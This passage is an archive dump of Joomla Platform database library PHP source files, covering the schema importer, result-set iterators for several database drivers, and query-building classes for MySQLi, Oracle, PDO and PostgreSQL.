* @param string $name The constraint name.
*
* @return string
*
* @since 3.0.0
*/
protected function getDropPrimaryKeySql($table, $name)
{
return 'ALTER TABLE ONLY ' . $this->db->quoteName($table)
. ' DROP CONSTRAINT ' . $this->db->quoteName($name);
}
/**
* Get the details list of keys for a table.
*
* @param array $keys An array of objects that comprise the keys for
the table.
*
* @return array The lookup array. array({key name} => array(object,
...))
*
* @since 3.0.0
* @throws Exception
*/
protected function getIdxLookup($keys)
{
// First pass, create a lookup of the keys.
$lookup = array();
foreach ($keys as $key)
{
if ($key instanceof SimpleXMLElement)
{
$kName = (string) $key['Index'];
}
else
{
$kName = $key->Index;
}
if (empty($lookup[$kName]))
{
$lookup[$kName] = array();
}
$lookup[$kName][] = $key;
}
return $lookup;
}
/**
* Get the details list of sequences for a table.
*
* @param array $sequences An array of objects that comprise the
sequences for the table.
*
* @return array The lookup array. array({key name} => array(object,
...))
*
* @since 3.0.0
* @throws Exception
*/
protected function getSeqLookup($sequences)
{
// First pass, create a lookup of the keys.
$lookup = array();
foreach ($sequences as $seq)
{
if ($seq instanceof SimpleXMLElement)
{
$sName = (string) $seq['Name'];
}
else
{
$sName = $seq->Name;
}
if (empty($lookup[$sName]))
{
$lookup[$sName] = array();
}
$lookup[$sName][] = $seq;
}
return $lookup;
}
}
database/importer.php000064400000011523151171674070010675 0ustar00<?php
/**
* @package Joomla.Platform
* @subpackage Database
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die;
/**
* Joomla Platform Database Importer Class
*
* @since 3.0.0
*/
abstract class JDatabaseImporter
{
/**
* @var array An array of cached data.
* @since 3.2.0
*/
protected $cache = array();
/**
* The database connector to use for exporting structure and/or data.
*
* @var JDatabaseDriver
* @since 3.2.0
*/
protected $db = null;
/**
* The input source.
*
* @var mixed
* @since 3.2.0
*/
protected $from = array();
/**
* The type of input format (XML).
*
* @var string
* @since 3.2.0
*/
protected $asFormat = 'xml';
/**
* An array of options for the exporter.
*
* @var object
* @since 3.2.0
*/
protected $options = null;
/**
* Constructor.
*
* Sets up the default options for the exporter.
*
* @since 3.2.0
*/
public function __construct()
{
$this->options = new stdClass;
$this->cache = array('columns' => array(),
'keys' => array());
// Set up the class defaults:
// Import with only structure
$this->withStructure();
// Export as XML.
$this->asXml();
// Default destination is a string using $output = (string) $exporter;
}
/**
* Set the output option for the exporter to XML format.
*
* @return JDatabaseImporter Method supports chaining.
*
* @since 3.2.0
*/
public function asXml()
{
$this->asFormat = 'xml';
return $this;
}
/**
* Checks if all data and options are in order prior to exporting.
*
* @return JDatabaseImporter Method supports chaining.
*
* @since 3.2.0
* @throws Exception if an error is encountered.
*/
abstract public function check();
/**
* Specifies the data source to import.
*
* @param mixed $from The data source to import.
*
* @return JDatabaseImporter Method supports chaining.
*
* @since 3.2.0
*/
public function from($from)
{
$this->from = $from;
return $this;
}
/**
* Get the SQL syntax to drop a column.
*
* @param string $table The table name.
* @param string $name The name of the field to drop.
*
* @return string
*
* @since 3.2.0
*/
protected function getDropColumnSql($table, $name)
{
return 'ALTER TABLE ' . $this->db->quoteName($table) .
' DROP COLUMN ' . $this->db->quoteName($name);
}
/**
* Get the real name of the table, converting the prefix wildcard string
if present.
*
* @param string $table The name of the table.
*
* @return string The real name of the table.
*
* @since 3.2.0
*/
protected function getRealTableName($table)
{
$prefix = $this->db->getPrefix();
// Replace the magic prefix if found.
$table = preg_replace('|^#__|', $prefix, $table);
return $table;
}
/**
* Merges the incoming structure definition with the existing structure.
*
* @return void
*
* @note Currently only supports XML format.
* @since 3.2.0
* @throws RuntimeException on error.
*/
public function mergeStructure()
{
$prefix = $this->db->getPrefix();
$tables = $this->db->getTableList();
if ($this->from instanceof SimpleXMLElement)
{
$xml = $this->from;
}
else
{
$xml = new SimpleXMLElement($this->from);
}
// Get all the table definitions.
$xmlTables = $xml->xpath('database/table_structure');
foreach ($xmlTables as $table)
{
// Convert the magic prefix into the real table name.
$tableName = (string) $table['name'];
$tableName = preg_replace('|^#__|', $prefix, $tableName);
if (in_array($tableName, $tables))
{
// The table already exists. Now check if there is any difference.
if ($queries = $this->getAlterTableSql($table))
{
// Run the queries to upgrade the data structure.
foreach ($queries as $query)
{
$this->db->setQuery((string) $query);
$this->db->execute();
}
}
}
else
{
// This is a new table.
$sql = $this->xmlToCreate($table);
$this->db->setQuery((string) $sql);
$this->db->execute();
}
}
}
/**
* Sets the database connector to use for exporting structure and/or data.
*
* @param JDatabaseDriver $db The database connector.
*
* @return JDatabaseImporter Method supports chaining.
*
* @since 3.2.0
*/
public function setDbo(JDatabaseDriver $db)
{
$this->db = $db;
return $this;
}
/**
* Sets an internal option to merge the structure based on the input data.
*
* @param boolean $setting True to export the structure, false to not.
*
* @return JDatabaseImporter Method supports chaining.
*
* @since 3.2.0
*/
public function withStructure($setting = true)
{
$this->options->withStructure = (boolean) $setting;
return $this;
}
}
database/interface.php000064400000001047151171674070010774 0ustar00<?php
/**
* @package Joomla.Platform
* @subpackage Database
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die;
/**
* Joomla Platform Database Interface
*
* @since 1.7.0
*/
interface JDatabaseInterface
{
/**
* Test to see if the connector is available.
*
* @return boolean True on success, false otherwise.
*
* @since 1.7.0
*/
public static function isSupported();
}
database/iterator/mysql.php000064400000002361151171674070012032
0ustar00<?php
/**
* @package Joomla.Platform
* @subpackage Database
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die;
/**
* MySQL database iterator.
*
* @link http://dev.mysql.com/doc/
* @since 3.0.0
* @deprecated 4.0 Use MySQLi or PDO MySQL instead
*/
class JDatabaseIteratorMysql extends JDatabaseIterator
{
/**
* Get the number of rows in the result set for the executed SQL given by
the cursor.
*
* @return integer The number of rows in the result set.
*
* @since 3.0.0
* @see Countable::count()
*/
public function count()
{
return mysql_num_rows($this->cursor);
}
/**
* Method to fetch a row from the result set cursor as an object.
*
* @return mixed Either the next row from the result set or false if
there are no more rows.
*
* @since 3.0.0
*/
protected function fetchObject()
{
return mysql_fetch_object($this->cursor, $this->class);
}
/**
* Method to free up the memory used for the result set.
*
* @return void
*
* @since 3.0.0
*/
protected function freeResult()
{
mysql_free_result($this->cursor);
}
}
database/iterator/mysqli.php000064400000002222151171674070012177
0ustar00<?php
/**
* @package Joomla.Platform
* @subpackage Database
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die;
/**
* MySQLi database iterator.
*
* @since 3.0.0
*/
class JDatabaseIteratorMysqli extends JDatabaseIterator
{
/**
* Get the number of rows in the result set for the executed SQL given by
the cursor.
*
* @return integer The number of rows in the result set.
*
* @since 3.0.0
* @see Countable::count()
*/
public function count()
{
return mysqli_num_rows($this->cursor);
}
/**
* Method to fetch a row from the result set cursor as an object.
*
* @return mixed Either the next row from the result set or false if
there are no more rows.
*
* @since 3.0.0
*/
protected function fetchObject()
{
return mysqli_fetch_object($this->cursor, $this->class);
}
/**
* Method to free up the memory used for the result set.
*
* @return void
*
* @since 3.0.0
*/
protected function freeResult()
{
mysqli_free_result($this->cursor);
}
}
database/iterator/oracle.php000064400000000612151171674070012127
0ustar00<?php
/**
* @package Joomla.Platform
* @subpackage Database
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die;
/**
* Oracle database iterator.
*
* @since 3.0.0
*/
class JDatabaseIteratorOracle extends JDatabaseIteratorPdo
{
}
database/iterator/pdo.php000064400000002643151171674070011452
0ustar00<?php
/**
* @package Joomla.Platform
* @subpackage Database
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die;
/**
* PDO database iterator.
*
* @since 3.0.0
*/
class JDatabaseIteratorPdo extends JDatabaseIterator
{
/**
* Get the number of rows in the result set for the executed SQL given by
the cursor.
*
* @return integer The number of rows in the result set.
*
* @since 3.0.0
* @see Countable::count()
*/
public function count()
{
if (!empty($this->cursor) && $this->cursor instanceof
PDOStatement)
{
return $this->cursor->rowCount();
}
else
{
return 0;
}
}
/**
* Method to fetch a row from the result set cursor as an object.
*
* @return mixed Either the next row from the result set or false if
there are no more rows.
*
* @since 3.0.0
*/
protected function fetchObject()
{
if (!empty($this->cursor) && $this->cursor instanceof
PDOStatement)
{
return $this->cursor->fetchObject($this->class);
}
else
{
return false;
}
}
/**
* Method to free up the memory used for the result set.
*
* @return void
*
* @since 3.0.0
*/
protected function freeResult()
{
if (!empty($this->cursor) && $this->cursor instanceof
PDOStatement)
{
$this->cursor->closeCursor();
}
}
}
database/iterator/pdomysql.php000064400000001032151171674070012527
0ustar00<?php
/**
* @package Joomla.Platform
* @subpackage Database
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die;
/**
* MySQL database iterator for the PDO based MySQL database driver.
*
* @package Joomla.Platform
* @subpackage Database
* @link https://dev.mysql.com/doc/
* @since 3.4
*/
class JDatabaseIteratorPdomysql extends JDatabaseIteratorPdo
{
}
database/iterator/pgsql.php000064400000000672151171674070012016
0ustar00<?php
/**
* @package Joomla.Platform
* @subpackage Database
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die;
/**
* PostgreSQL database iterator for the PDO based PostgreSQL database
driver.
*
* @since 3.9.0
*/
class JDatabaseIteratorPgsql extends JDatabaseIteratorPdo
{
}
database/iterator/postgresql.php000064400000002311151171674070013063
0ustar00<?php
/**
* @package Joomla.Platform
* @subpackage Database
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die;
/**
* PostgreSQL database iterator.
*
* @since 3.2.0
* @deprecated 4.0 Use PDO PostgreSQL instead
*/
class JDatabaseIteratorPostgresql extends JDatabaseIterator
{
/**
* Get the number of rows in the result set for the executed SQL given by
the cursor.
*
* @return integer The number of rows in the result set.
*
* @since 3.2.0
* @see Countable::count()
*/
public function count()
{
return pg_num_rows($this->cursor);
}
/**
* Method to fetch a row from the result set cursor as an object.
*
* @return mixed Either the next row from the result set or false if
there are no more rows.
*
* @since 3.2.0
*/
protected function fetchObject()
{
return pg_fetch_object($this->cursor, null, $this->class);
}
/**
* Method to free up the memory used for the result set.
*
* @return void
*
* @since 3.2.0
*/
protected function freeResult()
{
pg_free_result($this->cursor);
}
}
database/iterator/sqlazure.php000064400000000622151171674070012531
0ustar00<?php
/**
* @package Joomla.Platform
* @subpackage Database
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die;
/**
* SQL azure database iterator.
*
* @since 3.0.0
*/
class JDatabaseIteratorSqlazure extends JDatabaseIteratorSqlsrv
{
}
database/iterator/sqlite.php000064400000000612151171674070012163
0ustar00<?php
/**
* @package Joomla.Platform
* @subpackage Database
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die;
/**
* SQLite database iterator.
*
* @since 3.0.0
*/
class JDatabaseIteratorSqlite extends JDatabaseIteratorPdo
{
}
database/iterator/sqlsrv.php000064400000002224151171674070012215
0ustar00<?php
/**
* @package Joomla.Platform
* @subpackage Database
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die;
/**
* SQL server database iterator.
*
* @since 3.0.0
*/
class JDatabaseIteratorSqlsrv extends JDatabaseIterator
{
/**
* Get the number of rows in the result set for the executed SQL given by
the cursor.
*
* @return integer The number of rows in the result set.
*
* @since 3.0.0
* @see Countable::count()
*/
public function count()
{
return sqlsrv_num_rows($this->cursor);
}
/**
* Method to fetch a row from the result set cursor as an object.
*
* @return mixed Either the next row from the result set or false if
there are no more rows.
*
* @since 3.0.0
*/
protected function fetchObject()
{
return sqlsrv_fetch_object($this->cursor, $this->class);
}
/**
* Method to free up the memory used for the result set.
*
* @return void
*
* @since 3.0.0
*/
protected function freeResult()
{
sqlsrv_free_stmt($this->cursor);
}
}
database/iterator.php000064400000007230151171674070010665 0ustar00<?php
/**
* @package Joomla.Platform
* @subpackage Database
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die;
/**
* Joomla Platform Database Driver Class
*
* @since 3.0.0
*/
abstract class JDatabaseIterator implements Countable, Iterator
{
/**
* The database cursor.
*
* @var mixed
* @since 3.0.0
*/
protected $cursor;
/**
* The class of object to create.
*
* @var string
* @since 3.0.0
*/
protected $class;
/**
* The name of the column to use for the key of the database record.
*
* @var mixed
* @since 3.0.0
*/
private $_column;
/**
* The current database record.
*
* @var mixed
* @since 3.0.0
*/
private $_current;
/**
* A numeric or string key for the current database record.
*
* @var int|string
* @since 3.0.0
*/
private $_key;
/**
* The number of fetched records.
*
* @var integer
* @since 3.0.0
*/
private $_fetched = 0;
/**
* Database iterator constructor.
*
* @param mixed $cursor The database cursor.
* @param string $column An option column to use as the iterator key.
* @param string $class The class of object that is returned.
*
* @throws InvalidArgumentException
*/
public function __construct($cursor, $column = null, $class =
'stdClass')
{
if (!class_exists($class))
{
throw new InvalidArgumentException(sprintf('new %s(*%s*,
cursor)', get_class($this), gettype($class)));
}
$this->cursor = $cursor;
$this->class = $class;
$this->_column = $column;
$this->_fetched = 0;
$this->next();
}
/**
* Database iterator destructor.
*
* @since 3.0.0
*/
public function __destruct()
{
if ($this->cursor)
{
$this->freeResult($this->cursor);
}
}
/**
* The current element in the iterator.
*
* @return object
*
* @see Iterator::current()
* @since 3.0.0
*/
public function current()
{
return $this->_current;
}
/**
* The key of the current element in the iterator.
*
* @return int|string
*
* @see Iterator::key()
* @since 3.0.0
*/
public function key()
{
return $this->_key;
}
/**
* Moves forward to the next result from the SQL query.
*
* @return void
*
* @see Iterator::next()
* @since 3.0.0
*/
public function next()
{
// Set the default key as being the number of fetched object
$this->_key = $this->_fetched;
// Try to get an object
$this->_current = $this->fetchObject();
// If an object has been found
if ($this->_current)
{
// Set the key as being the indexed column (if it exists)
if (isset($this->_current->{$this->_column}))
{
$this->_key = $this->_current->{$this->_column};
}
// Update the number of fetched object
$this->_fetched++;
}
}
/**
* Rewinds the iterator.
*
* This iterator cannot be rewound.
*
* @return void
*
* @see Iterator::rewind()
* @since 3.0.0
*/
public function rewind()
{
}
/**
* Checks if the current position of the iterator is valid.
*
* @return boolean
*
* @see Iterator::valid()
* @since 3.0.0
*/
public function valid()
{
return (boolean) $this->_current;
}
/**
* Method to fetch a row from the result set cursor as an object.
*
* @return mixed Either the next row from the result set or false if
there are no more rows.
*
* @since 3.0.0
*/
abstract protected function fetchObject();
/**
* Method to free up the memory used for the result set.
*
* @return void
*
* @since 3.0.0
*/
abstract protected function freeResult();
}
database/query/element.php000064400000005204151171674070011631
0ustar00<?php
/**
* @package Joomla.Platform
* @subpackage Database
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die;
/**
* Query Element Class.
*
* @property-read string $name The name of the element.
* @property-read array $elements An array of elements.
* @property-read string $glue Glue piece.
*
* @since 1.7.0
*/
class JDatabaseQueryElement
{
/**
* @var string The name of the element.
* @since 1.7.0
*/
protected $name = null;
/**
* @var array An array of elements.
* @since 1.7.0
*/
protected $elements = null;
/**
* @var string Glue piece.
* @since 1.7.0
*/
protected $glue = null;
/**
* Constructor.
*
* @param string $name The name of the element.
* @param mixed $elements String or array.
* @param string $glue The glue for elements.
*
* @since 1.7.0
*/
public function __construct($name, $elements, $glue = ',')
{
$this->elements = array();
$this->name = $name;
$this->glue = $glue;
$this->append($elements);
}
/**
* Magic function to convert the query element to a string.
*
* @return string
*
* @since 1.7.0
*/
public function __toString()
{
if (substr($this->name, -2) == '()')
{
return PHP_EOL . substr($this->name, 0, -2) . '(' .
implode($this->glue, $this->elements) . ')';
}
else
{
return PHP_EOL . $this->name . ' ' .
implode($this->glue, $this->elements);
}
}
/**
* Appends element parts to the internal list.
*
* @param mixed $elements String or array.
*
* @return void
*
* @since 1.7.0
*/
public function append($elements)
{
if (is_array($elements))
{
$this->elements = array_merge($this->elements, $elements);
}
else
{
$this->elements[] = $elements;
}
}
/**
* Gets the elements of this element.
*
* @return array
*
* @since 1.7.0
*/
public function getElements()
{
return $this->elements;
}
/**
* Sets the name of this element.
*
* @param string $name Name of the element.
*
* @return JDatabaseQueryElement Returns this object to allow chaining.
*
* @since 3.6
*/
public function setName($name)
{
$this->name = $name;
return $this;
}
/**
* Method to provide deep copy support to nested objects and arrays
* when cloning.
*
* @return void
*
* @since 1.7.3
*/
public function __clone()
{
foreach ($this as $k => $v)
{
if (is_object($v) || is_array($v))
{
$this->{$k} = unserialize(serialize($v));
}
}
}
}
database/query/limitable.php000064400000003236151171674070012145
0ustar00<?php
/**
* @package Joomla.Platform
* @subpackage Database
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die;
/**
* Joomla Database Query Limitable Interface.
* Adds bind/unbind methods as well as a getBounded() method
* to retrieve the stored bounded variables on demand prior to
* query execution.
*
* @since 3.0.0
*/
interface JDatabaseQueryLimitable
{
/**
* Method to modify a query already in string format with the needed
* additions to make the query limited to a particular number of
* results, or start at a particular offset. This method is used
* automatically by the __toString() method if it detects that the
* query implements the JDatabaseQueryLimitable interface.
*
* @param string $query The query in string format
* @param integer $limit The limit for the result set
* @param integer $offset The offset for the result set
*
* @return string
*
* @since 3.0.0
*/
public function processLimit($query, $limit, $offset = 0);
/**
* Sets the offset and limit for the result set, if the database driver
supports it.
*
* Usage:
* $query->setLimit(100, 0); (retrieve 100 rows, starting at first
record)
* $query->setLimit(50, 50); (retrieve 50 rows, starting at 50th
record)
*
* @param integer $limit The limit for the result set
* @param integer $offset The offset for the result set
*
* @return JDatabaseQuery Returns this object to allow chaining.
*
* @since 3.0.0
*/
public function setLimit($limit = 0, $offset = 0);
}
database/query/mysql.php000064400000000674151171674070011353
0ustar00<?php
/**
* @package Joomla.Platform
* @subpackage Database
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die;
/**
* Query Building Class.
*
* @since 1.7.0
* @deprecated 4.0 Use MySQLi or PDO MySQL instead
*/
class JDatabaseQueryMysql extends JDatabaseQueryMysqli
{
}
database/query/mysqli.php000064400000012315151171674100011511
0ustar00<?php
/**
* @package Joomla.Platform
* @subpackage Database
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die;
/**
* Query Building Class.
*
* @since 1.7.0
*/
class JDatabaseQueryMysqli extends JDatabaseQuery implements
JDatabaseQueryLimitable
{
/**
* @var integer The offset for the result set.
* @since 3.0.0
*/
protected $offset;
/**
* @var integer The limit for the result set.
* @since 3.0.0
*/
protected $limit;
/**
* Magic function to convert the query to a string.
*
* @return string The completed query.
*
* @since 1.7.0
*/
public function __toString()
{
switch ($this->type)
{
case 'select':
if ($this->selectRowNumber)
{
$orderBy = $this->selectRowNumber['orderBy'];
$tmpOffset = $this->offset;
$tmpLimit = $this->limit;
$this->offset = 0;
$this->limit = 0;
$tmpOrder = $this->order;
$this->order = null;
$query = parent::__toString();
$this->order = $tmpOrder;
$this->offset = $tmpOffset;
$this->limit = $tmpLimit;
// Add support for second order by, offset and limit
$query = PHP_EOL . 'SELECT * FROM (' . $query . PHP_EOL .
"ORDER BY $orderBy" . PHP_EOL . ') w';
if ($this->order)
{
$query .= (string) $this->order;
}
return $this->processLimit($query, $this->limit,
$this->offset);
}
}
return parent::__toString();
}
/**
* Method to modify a query already in string format with the needed
* additions to make the query limited to a particular number of
* results, or start at a particular offset.
*
* @param string $query The query in string format
* @param integer $limit The limit for the result set
* @param integer $offset The offset for the result set
*
* @return string
*
* @since 3.0.0
*/
public function processLimit($query, $limit, $offset = 0)
{
if ($limit > 0 && $offset > 0)
{
$query .= ' LIMIT ' . $offset . ', ' . $limit;
}
elseif ($limit > 0)
{
$query .= ' LIMIT ' . $limit;
}
return $query;
}
/**
* Concatenates an array of column names or values.
*
* @param array $values An array of values to concatenate.
* @param string $separator As separator to place between each value.
*
* @return string The concatenated values.
*
* @since 1.7.0
*/
public function concatenate($values, $separator = null)
{
if ($separator)
{
$concat_string = 'CONCAT_WS(' . $this->quote($separator);
foreach ($values as $value)
{
$concat_string .= ', ' . $value;
}
return $concat_string . ')';
}
else
{
return 'CONCAT(' . implode(',', $values) .
')';
}
}
/**
* Sets the offset and limit for the result set, if the database driver
supports it.
*
* Usage:
* $query->setLimit(100, 0); (retrieve 100 rows, starting at first
record)
* $query->setLimit(50, 50); (retrieve 50 rows, starting at 50th
record)
*
* @param integer $limit The limit for the result set
* @param integer $offset The offset for the result set
*
* @return JDatabaseQuery Returns this object to allow chaining.
*
* @since 3.0.0
*/
public function setLimit($limit = 0, $offset = 0)
{
$this->limit = (int) $limit;
$this->offset = (int) $offset;
return $this;
}
/**
* Return correct regexp operator for mysqli.
*
* Ensure that the regexp operator is mysqli compatible.
*
* Usage:
* $query->where('field ' . $query->regexp($search));
*
* @param string $value The regex pattern.
*
* @return string Returns the regex operator.
*
* @since 1.7.3
*/
public function regexp($value)
{
return ' REGEXP ' . $value;
}
/**
* Return correct rand() function for Mysql.
*
* Ensure that the rand() function is Mysql compatible.
*
* Usage:
* $query->Rand();
*
* @return string The correct rand function.
*
* @since 3.5
*/
public function Rand()
{
return ' RAND() ';
}
/**
* Return the number of the current row.
*
* @param string $orderBy An expression of ordering for
window function.
* @param string $orderColumnAlias An alias for new ordering column.
*
* @return JDatabaseQuery Returns this object to allow chaining.
*
* @since 3.7.0
* @throws RuntimeException
*/
public function selectRowNumber($orderBy, $orderColumnAlias)
{
$this->validateRowNumber($orderBy, $orderColumnAlias);
$this->select("(SELECT @rownum := @rownum + 1 FROM (SELECT
@rownum := 0) AS r) AS $orderColumnAlias");
return $this;
}
/**
* Casts a value to a char.
*
* Ensure that the value is properly quoted before passing to the method.
*
* Usage:
* $query->select($query->castAsChar('a'));
* $query->select($query->castAsChar('a', 40));
*
* @param string $value The value to cast as a char.
*
* @param string $len The length of the char.
*
* @return string Returns the cast value.
*
* @since 3.7.0
*/
public function castAsChar($value, $len = null)
{
if (!$len)
{
return $value;
}
else
{
return ' CAST(' . $value . ' AS CHAR(' . $len .
'))';
}
}
}
database/query/oracle.php000064400000012367151171674100011447
0ustar00<?php
/**
* @package Joomla.Platform
* @subpackage Database
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die;
/**
* Oracle Query Building Class.
*
* @since 3.0.0
*/
class JDatabaseQueryOracle extends JDatabaseQueryPdo implements
JDatabaseQueryPreparable, JDatabaseQueryLimitable
{
/**
* @var integer The offset for the result set.
* @since 3.0.0
*/
protected $offset;
/**
* @var integer The limit for the result set.
* @since 3.0.0
*/
protected $limit;
/**
* @var array Bounded object array
* @since 3.0.0
*/
protected $bounded = array();
/**
* Method to add a variable to an internal array that will be bound to a
prepared SQL statement before query execution. Also
* removes a variable that has been bounded from the internal bounded
array when the passed in value is null.
*
* @param string|integer $key The key that will be used in
your SQL query to reference the value. Usually of
* the form ':key', but
can also be an integer.
* @param mixed &$value The value that will be
bound. The value is passed by reference to support output
* parameters such as those
possible with stored procedures.
* @param integer $dataType Constant corresponding to a
SQL datatype.
* @param integer $length The length of the variable.
Usually required for OUTPUT parameters.
* @param array $driverOptions Optional driver options to be
used.
*
* @return JDatabaseQueryOracle
*
* @since 3.0.0
*/
public function bind($key = null, &$value = null, $dataType =
PDO::PARAM_STR, $length = 0, $driverOptions = array())
{
// Case 1: Empty Key (reset $bounded array)
if (empty($key))
{
$this->bounded = array();
return $this;
}
// Case 2: Key Provided, null value (unset key from $bounded array)
if (is_null($value))
{
if (isset($this->bounded[$key]))
{
unset($this->bounded[$key]);
}
return $this;
}
$obj = new stdClass;
$obj->value = &$value;
$obj->dataType = $dataType;
$obj->length = $length;
$obj->driverOptions = $driverOptions;
// Case 3: Simply add the Key/Value into the bounded array
$this->bounded[$key] = $obj;
return $this;
}
/**
* Retrieves the bound parameters array when key is null and returns it by
reference. If a key is provided then that item is
* returned.
*
* @param mixed $key The bounded variable key to retrieve.
*
* @return mixed
*
* @since 3.0.0
*/
public function &getBounded($key = null)
{
if (empty($key))
{
return $this->bounded;
}
else
{
if (isset($this->bounded[$key]))
{
return $this->bounded[$key];
}
}
}
/**
* Clear data from the query or a specific clause of the query.
*
* @param string $clause Optionally, the name of the clause to clear,
or nothing to clear the whole query.
*
* @return JDatabaseQueryOracle Returns this object to allow chaining.
*
* @since 3.0.0
*/
public function clear($clause = null)
{
switch ($clause)
{
case null:
$this->bounded = array();
break;
}
parent::clear($clause);
return $this;
}
/**
* Method to modify a query already in string format with the needed
* additions to make the query limited to a particular number of
* results, or start at a particular offset. This method is used
* automatically by the __toString() method if it detects that the
* query implements the JDatabaseQueryLimitable interface.
*
* @param string $query The query in string format
* @param integer $limit The limit for the result set
* @param integer $offset The offset for the result set
*
* @return string
*
* @since 3.0.0
*/
public function processLimit($query, $limit, $offset = 0)
{
// Check if we need to mangle the query.
if ($limit || $offset)
{
$query = 'SELECT joomla2.*
FROM (
SELECT joomla1.*, ROWNUM AS joomla_db_rownum
FROM (
' . $query . '
) joomla1
) joomla2';
// Check if the limit value is greater than zero.
if ($limit > 0)
{
$query .= ' WHERE joomla2.joomla_db_rownum BETWEEN ' .
($offset + 1) . ' AND ' . ($offset + $limit);
}
else
{
// Check if there is an offset and then use this.
if ($offset)
{
$query .= ' WHERE joomla2.joomla_db_rownum > ' . ($offset
+ 1);
}
}
}
return $query;
}
/**
* Sets the offset and limit for the result set, if the database driver
supports it.
*
* Usage:
* $query->setLimit(100, 0); (retrieve 100 rows, starting at first
record)
* $query->setLimit(50, 50); (retrieve 50 rows, starting at 50th
record)
*
* @param integer $limit The limit for the result set
* @param integer $offset The offset for the result set
*
* @return JDatabaseQueryOracle Returns this object to allow chaining.
*
* @since 3.0.0
*/
public function setLimit($limit = 0, $offset = 0)
{
$this->limit = (int) $limit;
$this->offset = (int) $offset;
return $this;
}
}
database/query/pdo.php000064400000001706151171674100010757 0ustar00<?php
/**
* @package Joomla.Platform
* @subpackage Database
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die;
/**
* PDO Query Building Class.
*
* @since 3.0.0
*/
class JDatabaseQueryPdo extends JDatabaseQuery
{
/**
* Casts a value to a char.
*
* Ensure that the value is properly quoted before passing to the method.
*
* Usage:
* $query->select($query->castAsChar('a'));
* $query->select($query->castAsChar('a', 40));
*
* @param string $value The value to cast as a char.
*
* @param string $len The length of the char.
*
* @return string Returns the cast value.
*
* @since 1.7.0
*/
public function castAsChar($value, $len = null)
{
if (!$len)
{
return $value;
}
else
{
return ' CAST(' . $value . ' AS CHAR(' . $len .
'))';
}
}
}
database/query/pdomysql.php000064400000000701151171674100012037
0ustar00<?php
/**
* @package Joomla.Platform
* @subpackage Database
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die;
/**
* Query Building Class.
*
* @package Joomla.Platform
* @subpackage Database
* @since 3.4
*/
class JDatabaseQueryPdomysql extends JDatabaseQueryMysqli
{
}
database/query/pgsql.php000064400000006175151171674100011330
0ustar00<?php
/**
* @package Joomla.Platform
* @subpackage Database
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die;
/**
* PDO PostgreSQL Query Building Class.
*
* @since 3.9.0
*/
class JDatabaseQueryPgsql extends JDatabaseQueryPostgresql implements
JDatabaseQueryPreparable
{
/**
* Holds key / value pair of bound objects.
*
* @var mixed
* @since 3.9.0
*/
protected $bounded = array();
/**
* Method to add a variable to an internal array that will be bound to a
prepared SQL statement before query execution. Also
* removes a variable that has been bounded from the internal bounded
array when the passed in value is null.
*
* @param string|integer $key The key that will be used in
your SQL query to reference the value. Usually of
* the form ':key', but
can also be an integer.
* @param mixed &$value The value that will be
bound. The value is passed by reference to support output
* parameters such as those
possible with stored procedures.
* @param integer $dataType Constant corresponding to a
SQL datatype.
* @param integer $length The length of the variable.
